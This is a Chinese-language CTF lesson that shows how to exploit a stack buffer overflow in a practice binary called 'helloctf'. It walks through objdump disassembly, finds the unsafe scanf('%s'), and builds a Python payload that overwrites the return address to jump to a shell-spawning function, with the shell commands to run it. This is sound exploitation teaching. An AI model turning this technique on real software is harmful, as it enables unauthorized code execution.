# 簡單 Buffer Overflow Demo ###### tags: `pwn`, `BOF`, `demo` ```bash! $ file helloctf helloctf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a071af412b279d39a74f5f0099754f9d366e2a9, not stripped ``` - 會發現是 64-bit ELF 執行檔。 - 首先,先進行靜態分析。 - 不要冒然就執行起來,這樣是一件很危險的事! - 先反組譯一下: - `-d` 是只反組譯 executable sections 的部分 ```asm objdump -d -M intel helloctf | less ... 0000000000400644 <main>: 400644: 55 push rbp 400645: 48 89 e5 mov rbp,rsp 400648: 48 83 ec 10 sub rsp,0x10 40064c: 48 c7 45 f0 00 00 00 mov QWORD PTR [rbp-0x10],0x0 400653: 00 400654: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0 40065b: 00 40065c: 48 8b 05 e5 09 20 00 mov rax,QWORD PTR [rip+0x2009e5] # 601048 <stdout@@GLIBC_2.2.5> 400663: be 00 00 00 00 mov esi,0x0 400668: 48 89 c7 mov rdi,rax 40066b: e8 90 fe ff ff call 400500 <setbuf@plt> 400670: 48 8d 3d d5 00 00 00 lea rdi,[rip+0xd5] # 40074c <_IO_stdin_used+0xc> 400677: b8 00 00 00 00 mov eax,0x0 40067c: e8 8f fe ff ff call 400510 <printf@plt> 400681: 48 8d 45 f0 lea rax,[rbp-0x10] 400685: 48 89 c6 mov rsi,rax 400688: 48 8d 3d d0 00 00 00 lea rdi,[rip+0xd0] # 40075f <_IO_stdin_used+0x1f> 40068f: b8 00 00 00 00 mov eax,0x0 400694: e8 97 fe ff ff call 400530 <__isoc99_scanf@plt> 400699: 48 8d 45 f0 lea rax,[rbp-0x10] 40069d: 48 89 c6 mov rsi,rax 4006a0: 48 8d 3d bb 00 00 00 lea rdi,[rip+0xbb] # 400762 <_IO_stdin_used+0x22> 4006a7: b8 00 00 00 00 mov eax,0x0 4006ac: e8 5f fe ff ff call 400510 <printf@plt> 4006b1: b8 00 00 00 00 mov eax,0x0 4006b6: c9 leave 4006b7: c3 ret 4006b8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 4006bf: 00 ... ``` - 首先,上面這三行,push rbp, mov, sub 是 function prologue 的部分 - 老師上課有教,忘記的同學記得複習一下。 - 最下面這兩行,leave, ret,是 function epilogue 的部分。 - 接下來,會發現有很多的組語。 - 這麼多要怎麼看呢?這邊教大家一下,我通常會看 `call` 的部分: - 這邊有一個 setbuf: ```asm 40066b: e8 90 fe ff ff call 400500 <setbuf@plt> ``` - 這邊有一個 printf: ```asm 40067c: e8 8f fe ff ff call 400510 <printf@plt> ``` - 這邊有一個 scanf: ```asm 400681: 48 8d 45 f0 lea rax,[rbp-0x10] 400685: 48 89 c6 mov rsi,rax 400688: 48 8d 3d d0 00 00 00 lea rdi,[rip+0xd0] # 40075f <_IO_stdin_used+0x1f> 40068f: b8 00 00 00 00 mov eax,0x0 400694: e8 97 fe ff ff call 400530 <__isoc99_scanf@plt> ``` - 一個一個看一下來,會發現 scanf 這邊有漏洞!我們可以看一下它的參數。 - 記得 calling convention,第一個參數是 rdi。 - 這邊有寫,rdi 的位置是 `40075f`。 - `40075f` 在哪裡呢?這時候可以使用 gdb,靜態看記憶體內容: ```gdb gef➤ x/s 0x40075f 0x40075f: "%s" ``` - 它的第二個參數是 rsi,也就是 `[rbp-0x10]` 的位置。 - 畫成圖就是:... - 可以看到,它有 0x10 的空間,但是 scanf %s 卻會 overflow。 - 因此,我們可以透過 overflow: - 1. 先填滿 buffer - 2. 再蓋掉 rbp - 3. 最後,把 return address 寫成 magic 的位置 - magic 的位置是在 `400627`: ```asm 0000000000400627 <show_me_magic>: ``` - 這時候,我會習慣用 python 來產生 payload: - 注意 little endian 的問題。 ```python >>> b'A' * 0x10 b'AAAAAAAAAAAAAAAA' >>> b'A' * 0x10 + b'BBBBBBBB' # rbp 的部分 b'AAAAAAAAAAAAAAAABBBBBBBB' >>> b'A' * 0x10 + b'BBBBBBBB' + b'\x27\x06\x40\x00\x00\x00\x00\x00' # \x40\x06\x27 b"AAAAAAAAAAAAAAAABBBBBBBB'\x06@\x00\x00\x00\x00\x00" ``` ```py >>> open('payload.txt', 'wb').write(b'A' * 0x10 + b'BBBBBBBB' + b'\x27\x06\x40\x00\x00\x00\x00\x00') 32 ``` ```bash $ xxd payload.txt 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: 4242 4242 4242 4242 2706 4000 0000 0000 BBBBBBBB'.@..... ``` - 確定 payload 沒問題後,就可以送進程式了: ```bash $ cat payload.txt | ./helloctf Say hello to ctf: AAAAAAAAAAAAAAAABBBBBBBB'@ ctf!!! $ ``` - 這樣為什麼不 work 呢? - 因為 `cat` 這支程式送完 input 後,pipe 就關掉了。 - `helloctf` 吃到了 input,成功開啟 shell,但是它的 stdin 已經 end of file 了。 - 所以 shell 產生了以後,什麼事都沒做就結束了。 - 解決方法,就是把 terminal input 接在後面: - `cat -` 的意思是把 terminal 當作 input,cat 出來。 ```bash $ (cat payload.txt; cat -) | ./helloctf Say hello to ctf: AAAAAAAAAAAAAAAABBBBBBBB'@ ctf!!! ls helloctf payload.txt ```